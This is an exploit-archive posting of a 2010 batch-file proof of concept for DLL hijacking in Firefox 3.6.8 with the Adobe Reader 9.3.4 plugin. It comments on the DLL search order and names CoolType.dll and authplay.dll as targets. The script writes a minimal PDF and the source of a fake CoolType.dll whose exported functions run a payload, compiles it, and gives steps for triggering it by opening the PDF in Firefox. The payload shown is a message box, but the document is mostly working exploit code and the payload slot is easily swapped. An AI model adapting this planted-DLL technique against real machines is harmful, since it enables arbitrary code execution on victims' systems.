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Mozilla Firefox 3.6.8 Adobe Reader Plugin 9.3.4.218 DLL Hijacking Exploit

Mozilla Firefox 3.6.8 Adobe Reader Plugin 9.3.4.218 DLL Hijacking Exploit
Posted Aug 28, 2010
Authored by Rh0

Mozilla Firefox version 3.6.8 with Adobe Reader Plugin version 9.3.4.218 DLL hijacking exploit that leverages CoolType.dll.

tags | exploit
SHA-256 | 99b1038919a894399559f28e22a581cef9029d7635eb4ceea25c27fb6843af9f

Mozilla Firefox 3.6.8 Adobe Reader Plugin 9.3.4.218 DLL Hijacking Exploit

Change Mirror Download
@echo off
GOTO START

* [*]
* [*] Mozilla Firefox 3.6.8 Adobe Reader Plugin 9.3.4.218 DLL Hijacking Exploit (CoolType.dll)
* [*]
* [*] Author: Rh0 (Rh0[at]z1p.biz)
* [*] Date: August 26, 2010
* [*] Affected Software: Mozilla Firefox 3.6.8 with Adobe Reader Plugin 9.3.4.218
* [*] Tested on: Windows XP Pro SP3 x86 En
* [*] Description:
*
* Affected Extensions: .pdf .pdfxml .mars .fdf .xfdf .xdp .xfd
*
* When Firefox plugins are used, the necessary DLLs for the plugin to run
* are searched in folders in the following order:
*
* mozilla firefox dir
* windows system32 dir
* windows system dir
* windows dir
* current dir <-- hijack possibility
* plugin program dir
*
* Hence, depending on the actual file, the plugin and the needed DLLs, plugin DLLs can be hijacked.
* just 2 examples for the Adobe Reader plugin:
* CoolType.dll
* authplay.dll (if the pdf contains an embedded swf file)
*
* This Batch File example creates an mininal pdf file, CoolType.c and
* compiles it to CoolType.dll (gcc has to be installed).
* When opening the pdf with Firefox, CoolType.dll gets executed, if both files are in the same directory.
* So embedded pdf files in a html file could be used to hijack Adobe Reader DLLs.
* For this exploit to work, Firefox and the Adober Reader 9.3.4 plugin have to be installed.
* To test the other extensions simply change the extension of the pdf file, and open it with firefox


:START

echo.
echo [*]

echo [*] Creating pdf file...

REM PDF FILENAME
set pdf=OpenwithFirefox.pdf

echo %%PDF-1.4>"%pdf%"
echo %%Çìó¢>>"%pdf%"
echo 1 0 obj ^<^< /Type /Catalog /ViewerPreferences ^<^< /NonFullScreenPageMode /UseNone ^>^> /PageLayout /SinglePage /Pages 2 0 R /PageMode /UseNone ^>^> endobj>>"%pdf%"
echo 2 0 obj ^<^< /Type /Pages /Kids [ 5 0 R ] /Resources 3 0 R /Count 1 ^>^> endobj>>"%pdf%"
echo 3 0 obj ^<^< /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] ^>^> endobj>>"%pdf%"
echo 4 0 obj ^<^< /Producer (PDF::API2 0.69 [linux]) ^>^> endobj>>"%pdf%"
echo 5 0 obj ^<^< /Type /Page /Parent 2 0 R /Resources ^<^< /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] ^>^> ^>^> endobj>>"%pdf%"
echo xref>>"%pdf%"
echo 0 6 >>"%pdf%"
echo 0000000000 65535 f>>"%pdf%"
echo 0000000015 00000 n>>"%pdf%"
echo 0000000164 00000 n>>"%pdf%"
echo 0000000240 00000 n>>"%pdf%"
echo 0000000309 00000 n>>"%pdf%"
echo 0000000365 00000 n>>"%pdf%"
echo trailer>>"%pdf%"
echo ^<^< /Root 1 0 R /Size 6 /Info 4 0 R ^>^>>>"%pdf%"
echo startxref>>"%pdf%"
echo 477>>"%pdf%"
echo %%%%EOF>>"%pdf%"

echo [*] %pdf% created.

echo [*]

echo [*] Creating CoolType.c source...

REM PDF FILENAME
set dllsrc=CoolType.c

echo #include ^<windows.h^>>"%dllsrc%"
echo #define DLLExport __declspec (dllexport)>>"%dllsrc%"
echo int runme()>>"%dllsrc%"
echo {>>"%dllsrc%"
echo MessageBox(0, "Firefox with Adobe Reader Plugin DLL Hijacking", "Message from CoolType.dll", MB_OK);>>"%dllsrc%"
echo return 0;>>"%dllsrc%"
echo }>>"%dllsrc%"
echo DLLExport void CTCleanup() { runme(); }>>"%dllsrc%"
echo DLLExport void CTGetVersion() { runme(); }>>"%dllsrc%"
echo DLLExport void CTInit() { runme(); }>>"%dllsrc%"
echo [*] Done.

echo [*] Compiling CoolType.dll...
gcc -shared -o CoolType.dll CoolType.c

echo [*] Done
echo [*]
echo [*] Copy "%pdf%" and CoolType.dll to the same
echo [*] directory, open directory in windows explorer
echo [*] and open "%pdf%" in Firefox.
echo [*]
pause
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